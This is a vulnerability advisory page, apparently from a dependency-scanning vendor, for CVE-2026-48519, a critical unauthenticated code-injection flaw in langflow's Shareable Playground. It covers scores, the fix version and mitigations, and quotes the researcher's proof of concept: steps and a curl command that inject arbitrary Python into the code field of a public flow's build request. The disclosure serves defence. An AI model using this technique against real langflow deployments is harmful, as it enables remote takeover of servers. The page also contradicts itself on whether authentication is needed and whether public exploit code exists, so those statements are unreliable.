How severe is CVE-2026-48519?

CVE-2026-48519 has a CVSS score of 9.6/10, rated CRITICAL. Immediate patching is strongly recommended.

Which packages are affected by CVE-2026-48519?

CVE-2026-48519 affects the following packages: langflow (PyPI). Ecosystems affected: PyPI.

How do I fix CVE-2026-48519?

Update langflow to 1.9.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-48519 is resolved across your whole dependency graph.

How do I detect CVE-2026-48519 in my PyPI dependencies?

Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langflow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

How do I mitigate CVE-2026-48519 if there is no patch (or I can't update yet)?

Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Is CVE-2026-48519 actively exploited in the wild?

No public exploit code has been indexed for CVE-2026-48519 yet. This does not mean the vulnerability cannot be exploited — absence of public exploits does not imply safety. Apply the recommended fix and use O3 Security to monitor your exposure.

What is the EPSS score for CVE-2026-48519?

CVE-2026-48519 has an EPSS (Exploit Prediction Scoring System) score of 0.8%, placing it in the 54th percentile of all CVEs. EPSS is maintained by FIRST.org and estimates the probability that a vulnerability will be exploited in the wild within the next 30 days. This score indicates relatively lower exploitation probability, though the CVSS severity should still guide your patching priority.

What type of vulnerability is CVE-2026-48519?

CVE-2026-48519 is classified as Code Injection (CWE-94). This weakness type describe the underlying flaw category, which helps determine the potential impact and the right class of mitigation. This is a high-impact weakness class that often enables remote code execution or data exposure.

When was CVE-2026-48519 published, and has it been updated?

CVE-2026-48519 was published on June 23, 2026 and was last updated on August 12, 2026. Advisory data evolves as severity scores, affected ranges, and exploit intelligence are revised — always check the latest version of the advisory before acting.

🐍

🐍 PyPI

Not in CISA KEV

CRITICAL severity

CVE-2026-48519 — langflow

CRITICAL

CVE-2026-48519 is a critical-severity (CVSS 9.6) Code Injection vulnerability in langflow. A fix is available for langflow — see the affected versions and patch details below.

Langflow: Unauthenticated RCE in Shareable Playgrounds

Also known asGHSA-v5ff-9q35-q26fPYSEC-2026-243

Published

Jun 23, 2026

Updated

Aug 12, 2026

Affected

1 pkg

Patched

1 / 1

Exploits

None indexed

Exploitation data as of Sep 27, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-48519.

EPSS Exploitation Probability

via FIRST.org ↗

0.8%probability of exploitation in next 30 days

Lower Risk0.00%

Lower risk than most CVEs54th percentile — riskier than 54% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-48519 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 379,842 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected

🐍langflow

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability. Simply sharing a flow exposes the deployment to RCE risk by authenticated users.

Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe

Details

Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route /api/v1/build_public_tmp to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload!

The vulnerable field is data.nodes[X].data.node.template.code.value. See PoC for an example.

PoC

Reproduction:

Create a new flow and add a Chat Input node to it
Share the flow ("Shareable Playground")
Access the public link with the browser developers tools open and execute the flow.
Find the /api/v1/build_public_tmp route and copy as cURL
Edit the data.nodes[X].data.node.template.code.value JSON field with any python code and run the cURL command.

Example PoC (replace flow ID with the correct one), and download test_with_python.json:

curl 'http://localhost:7860/api/v1/build_public_tmp/<flow-id>/flow?start_component_id=ChatInput-syEJp&log_builds=false&event_delivery=streaming' \
  -H 'Content-Type: application/json' \
  -b 'client_id=anything' \
  --data-raw "$(cat test_with_python.json)"

Search for touch /tmp/pwned in the test_with_python.json and edit for any other code.

The stacktrace for the code executed is:

...
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 495, in generate_flow_events
    ids, vertices_to_run, graph = await build_graph_and_get_order()
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 234, in build_graph_and_get_order
    graph = await create_graph(fresh_session, flow_id_str, flow_name)
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py", line 298, in create_graph
    return await build_graph_from_data(
  File "/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/utils/core.py", line 192, in build_graph_from_data
    graph = Graph.from_payload(payload, str_flow_id, flow_name, kwargs.get("user_id"))
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1153, in from_payload
    graph.add_nodes_and_edges(vertices, edges)
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 270, in add_nodes_and_edges
    self.initialize()
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 512, in initialize
    self._build_graph()
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1305, in _build_graph
    self._instantiate_components_in_vertices()
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py", line 1347, in _instantiate_components_in_vertices
    vertex.instantiate_component(self.user_id)
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/vertex/base.py", line 382, in instantiate_component
    self.custom_component, _ = initialize.loading.instantiate_class(
  File "/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/interface/initialize/loading.py", line 45, in instantiate_class
    custom_component: CustomComponent | Component = class_object(
  File "<string>", line 59, in __init__

Impact

Unauthenticated RCE on any deployment with a shareable playground.

Ori Lahav Security Researcher @ Rubrik Inc.

Affected Packages

1 total 1 fixed

Ecosystem	Package	Vulnerable range	Fix
🐍PyPI	`langflow`	all versions	1.9.2`pip install --upgrade 'langflow==1.9.2'`

Affected Products

1 product · 1 configurations

Application

langflowlangflow

< 1.9.2

range

Detection & mitigation playbook

Open-source dependency

Detect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for langflow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update langflow to 1.9.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-48519 is resolved across your whole dependency graph.
Workarounds
Stop passing untrusted input into the interpreter or shell: call the affected binary with an argument array rather than a composed command string, reject anything outside a strict allowlist of expected values, and run the component under an account that cannot reach beyond the work it legitimately does.

Frequently Asked Questions

### Summary The "Shareable Playground" (or "Public Flows" in code) contains a critical RCE vulnerability. Simply sharing a flow exposes the deployment to RCE risk by authenticated users. Tested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe ### Details Shareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link. Specifically, it enables the route `/api/v1/build_public_tmp` to execute any public flow, given a public flow ID. When the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code,

O3 Security · Impact-Aware SCA

Is CVE-2026-48519 in your dependencies?

Find it across PyPI, including transitive dependencies.

Scan my dependencies How O3 SCA works

CVSS Score

9.6/10CVSS v3 base

Vector breakdown

Attack Vector

Network

Attack Complexity

Low

Privileges Required

None

User Interaction

Required

Scope

Changed

Confidentiality

High

Integrity

High

Availability

High

Raw vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CWE Classification

CWE-94Code Injection

Weaponization

No known public exploit tooling found.

Timeline

Disclosed

Jun 23, 2026

Last updated

Aug 12, 2026

Identifiers

CVE-2026-48519

GHSA-v5ff-9q35-q26f

PYSEC-2026-243

References

Advisorygithub.com Advisorygithub.com Advisorynvd.nist.gov Webgithub.com Packagegithub.com

Related vulnerabilities

This CVE is critical severity; 2 of 8 other CVEs affecting langflow are rated as high or higher (top: critical).

CVE-2026-55423CVE-2026-55447CVE-2026-55255CVE-2026-55446CVE-2026-55450CVE-2026-42867CVE-2026-33760CVE-2026-48520

Provenance

Sources

OSV.devNVDFIRST.org (EPSS)

Last verifiedAug 12, 2026

CVE-2026-48519 — langflow

Exploitation Status

Proof-of-concept exploit code exists

EPSS Exploitation Probability

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

Description

Summary

Details

PoC

Impact

Affected Packages

Affected Products

Detection & mitigation playbook

Detect

Fix

Workarounds

Frequently Asked Questions

Is CVE-2026-48519 in your dependencies?